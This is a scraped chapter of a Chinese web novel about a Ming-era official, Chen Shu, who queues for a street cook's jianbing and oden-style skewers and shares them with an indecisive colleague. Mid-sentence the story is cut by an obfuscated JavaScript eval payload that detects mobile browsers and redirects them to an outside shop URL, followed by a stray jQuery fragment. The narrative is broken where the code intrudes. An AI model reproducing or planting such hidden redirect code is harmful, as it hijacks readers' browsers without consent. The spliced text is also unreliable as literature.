25. 第 25 章
作品:《大明小食记》 第25章
陈述散值后,便匆匆朝着廊院去。
邀请姜小娘子来翰林院本就是他牵的线,自然比其他人清楚今日的章程,奈何他的值房实在有些远,哪怕听到钟鼓声立刻动身,等赶到廊院时,也已经排起了不短的长队。
心中顿时一阵懊悔!
早知如此,应该假装有事早退的,横竖上官今日不在院里,便是提前溜走也无碍。
虽这般想着,但陈述性子向来本分,做不出钻空取巧的事来。
老老实实排到队伍最后,轮到他时,不用姜至喜询问,便已经熟练地报出自己的口味:“要一份双蛋煎饼果子,里面加里脊与豆芽,酱料多刷一些,劳烦了。”
姜至喜听着顺畅的点菜声,抬头一看,果然是老熟人。
嘴角漾出调侃的笑容:“陈大人来了。”
“姜小娘子。”
陈述拱手还礼。
也不知怎的,对上姜小娘子的的目光,他免不得想起自己那日的窘态,面上颇有几分愧赧,尤其姜小娘子身后还站着一个黑壮少年。
从容貌看,那黑壮少年似是姜小娘子的家人,今日特意过来帮衬。
本是负责给翰林院的食客们发放木牌,此刻,少年的注意力被饼铛上的煎饼果子给吸引,馋得喉结上下滚动,一时吞咽不急,口水竟从嘴角流下来,他便随意抬手抹去,眼睛却仍粘在那金黄焦香的饼皮上,活脱脱一尊“望饼石”。
——直让陈述怀疑,自己在姜小娘子眼中,也是如此“馋态”。
心头莫名一虚,陈述赶紧轻咳几声,转移话题:“今日除了煎饼果子,可还备了其他吃食?实不相瞒,从方才过来,在下就闻到一道陌生的香味。”
姜至喜颔首:“自是有的,新吃食的名字叫煨串鲜,是用熬了一晚上的高汤,慢慢煨着各式蔬菜、肉圆、豆制品,汤清味醇,既能食料,也可饮汤……大人领了取号牌便往左走就能看到了。”
实际就是姜至喜那个时代的“关东煮”。
只是关东煮的名字来源于东瀛,若在翰林院叫出来,免不得被人追问“关东”是何地,她便索性改了个更加贴合大明语境的名号,一劳永逸。
所谓煨串鲜,顾名思义,以鸡骨、昆布并小鱼干虾皮等海鲜干货熬煮高汤,汤底清澈见底,表面不见油花,味鲜美甘甜不失其真。
而后将萝卜、豆腐、竹轮、鱼圆肉圆等食材穿作竹签,且因着汤汁清淡,所以食材必须精细处理。
萝卜焯水,豆腐去腥,炸货空油。
而后置于陶罐中,以文火慢煨,待汤底沸腾之后即刻灭掉炉火,靠着陶罐的余温慢慢浸泡,时间久了,食材便吸尽汤汁的醇厚,变得饱满多汁。
但又因为那汤味清而甘甜,所以并不会掩饰住食材本身的味道。
汤中添了虾米、小鱼提鲜,复刻出温润柔和的出汁,滋味妙不可言。
若说辛辣麻口的川味火锅,尚且需要适应,那如关东煮这般更注重原汁原味的烹饪办法,想必大部分人的脾胃都能接受。
陈述一听,眸中果然亮起了光。
隆冬时节,寒气逼人,尽管公廨中摆着炭盆,可那炭盆只有一个,离得远了,热气便如杯水车薪,半点儿感知不到。
且为了防止中炭,窗牖须得留一条缝隙,凉飕飕的北风直往骨头里钻,半天坐下来,手脚早就冻得僵硬,正缺一碗刚出锅的热腾腾咸汤!
来不及多言,陈述匆匆和姜至喜告辞,随后便拿着号码牌去旁边排队。
或许是因为这叫做煨串鲜的吃食是提前煮好的,比起煎饼果子那边的长长队伍,此处行进的速度更快一些,陈述过来时,前面只有一位官员。
再看对方身上的青色官袍,也是一个七品编修,身形清瘦,颌下留着长长的长髯,典型的文人形象。
正站在案前,凝目皱眉打量陶罐中的各色煨串。
不必多说,陈述已经明了,默默站到了那人后面。
面上不动声色,脑中开始默默思考等会儿要拿点儿什么。
姜小娘子可说了,这煨串鲜是给大家垫肚子的,数量有限,每人只限拿五串,他方才偷偷垫脚瞧过,那陶罐中似乎有豆制,圆子,萝卜片……
他不爱吃萝卜,倒是很喜爱圆子,以前读书时,家中至亲便时常给他做水氽圆子汤,就是不知姜小娘子做的圆子是什么馅的。
唔,应该不会差,只闻着空气中的香味,他嘴里的口水仿佛开了闸似的,不知不觉中,吞咽了好几次口水。
他强自按下心头的急切,抬眼往前望去。
谁知半日过去,前头那位青袍官员竟还纹丝不动,一味盯着陶罐里的各色吃食,两道眉毛越拧越紧,几乎要攒成一个结。
这下,陈述终于等不及了:“兄台可是还未想好取哪几样么?”
王令沌望着眼花缭乱的菜品,只觉得胸膛里揣了只兔子,实在拿不定主意。
大片的萝卜晶莹剔透。
圆子圆咕隆咚,饱满圆润,闻着像是用鱼靡团的。
豆结扎实漂亮,纤细的索粉缠绕成线团,冬笋片片矜贵,煨久了能挂汁,如意蛋卷更是柔嫩弹牙,隐约能看到里面包裹的肉末。
此外还有许多他从未吃过、甚至见过,但无论颜色还是味道都极其诱人的吃食,一个个张牙舞爪,好像在张开手招呼他:吃我啊,吃我啊。
乍然听到陈述的问话,王令沌从思绪中脱出来,惊觉自己已经耽误了许多时间。
可让他仓促决定,只是想一想,浑身就仿佛有几百只蚂蚁在爬!
他叹了口气,不得以,转身朝陈述告歉:“兄台有所不知,在下有一旧疾,每逢面临从多中选择其一,必会进退维谷,久久难以抉择。”
陈述不解,陈述大为震惊。
还有这种毛病?!
王令沌脸上露出苦笑:“或许兄台觉得稀奇,但在下发誓,绝对没有虚言,譬如日常择衣,买笔墨,乃至挑选出行日子,在下都会纠结。所以还是兄台先请吧。”
陈述也意识到自己方才表现的太唐突,眼底掠过一丝尴尬。
他虽然很想吃到煨串鲜,但要是抢到前面,实在有些过意不去。
加之这人又有如此毛病,如果一直挑选不出,岂不是得排到最后去?
思来想去,陈述忽然灵机一动:“有了!”
他提议:“在下方才瞧见,煨串鲜每一串上皆缀数样食材,不若这般,你我二人各取五串,之后互相分食,如此兄台便可以不必纠结了!”
而他也能尝遍每一个食物,岂不妙哉?!
陈述为自己的想法感到沾沾自喜。
青袍官员一听,也觉得这主意不错。
于是二人一拍即合,齐齐凑到陶罐边:“萝卜水嫩,拿一串。”
“这圆子不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036880|193744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是用什么肉捏成,在下观察许久,也拿一串吧。”
“那是豆结?瞧着竟比平日吃的豆结要诱人,今儿我势必要尝尝味。”
“王兄,你拿的圆子似乎是猪肉的,和如意蛋卷撞了,不如换成这个金黄色的圆子,表面凹凸不平,瞧着似乎是脆骨。”
两人精挑细选,势必要将每一种食物都尝个遍,后面排队的人见此情形,觉得不错,于是纷纷寻找另外一人和自己凑单。
有了陈述的帮助,王令沌终于顺利挑完了自己的五份煨串鲜。
廊院的檐下摆着许多长凳,想来是供给众人休息的,王令沌去庖厨打热水,陈述便没有返回公廨,而是端着两人的煨串鲜,走过去随意找了一处空位坐下。
太阳暖烘烘晒着,屋檐落了几只麻雀,仿佛也被这香味勾住,竹叶似的爪足蹦跳着不肯离去。
陈述却顾不得听鸟雀啁啾。
为了今天这一顿,他晨起特意没有用早食,这会儿早就饥肠辘辘,他自诩并非贪嘴之人,可每回遇上姜小娘子的吃食,那点定力便溃不成军。
甫一在凳子上坐定,他便迫不及待拿起一串肉圆。
那圆子不知是用何肉捏的,白嫩光滑,呈现出淡淡的浅米白色,外表裹着层温润的薄芡。同他之前吃过的圆子都不同,咬破的瞬间,紧实的肉质,混着淡淡调料的辛香在牙齿间迸发,嫩到险些咬到舌头!
“嘶!真鲜啊!”
陈述忍不住出声赞扬。
入口之时,他已经尝出了这是鱼靡,至于什么鱼,作为一个在京杭大运河边长大的兖州府人来说,他几乎立刻辨出:白鲢。
那肉质软嫩适中,存着河鲜独有的清甜,同时又有胶质的口感,仿佛给舌尖做了按跷,化开之后,润泽如酥。
白鲢肉本就嫩,和肥肉按照十比一比例捶打,几十下后早就烂成了泥,再打入两个蛋清粘合润滑,如此才能捏成小圆子。
偏偏下水一煮,那软烂如泥的鱼茸,逐渐吸饱了汤汁,一个一个变得充盈起来,口感略微弹牙,偶尔还能尝到调料的颗粒感,蛋清的滑、姜汁的辛、冰葱的清,极大程度去腥增香,使得鱼肉圆子半点腥味也无,反而口齿留香。
他很快就吃完了半串圆子,虽然很想把剩下也吃光,但多少惦记着同王令沌的约定,不得遗憾放下。
幸好碗里还有许多其他煨串,陈述转而又拿起一串豆结。
原以为这种豆制品会比肉圆要失色,不曾想,竟别有一番风味!
豆结是炸过的薄豆皮打结而成,经过提前处理,以及高汤慢煮,外层豆皮已经充分吸收了汤汁,变得十分软润。
吃起来时,仍保留了豆制品的柔韧,陈述需得用牙齿轻轻撕扯,那种能顺畅撕下大片的纤维感,着实让人上头。
最妙的还要属豆结的打结处。
因叠了数层豆皮,那处变得格外厚实,中间盛满了高汤。咬破的刹那,滚烫的汁水涌出,顷刻盈满了整个口腔,鲜美直抵喉咙,带来极大的满足。
软而不烂,韧中带润,可惜数量太少,一个串上只有四个。
陈述突然有些后悔方才的决定了。
若是没有答应王兄,如今这四个豆结都是自己的。
念头刚起,他便暗自赧然,自己竟为了口腹之欲生出计较,实非君子所为。可念头归念头,右手却像是有自己的主意似的,不由自主再次朝着瓷碗伸去……

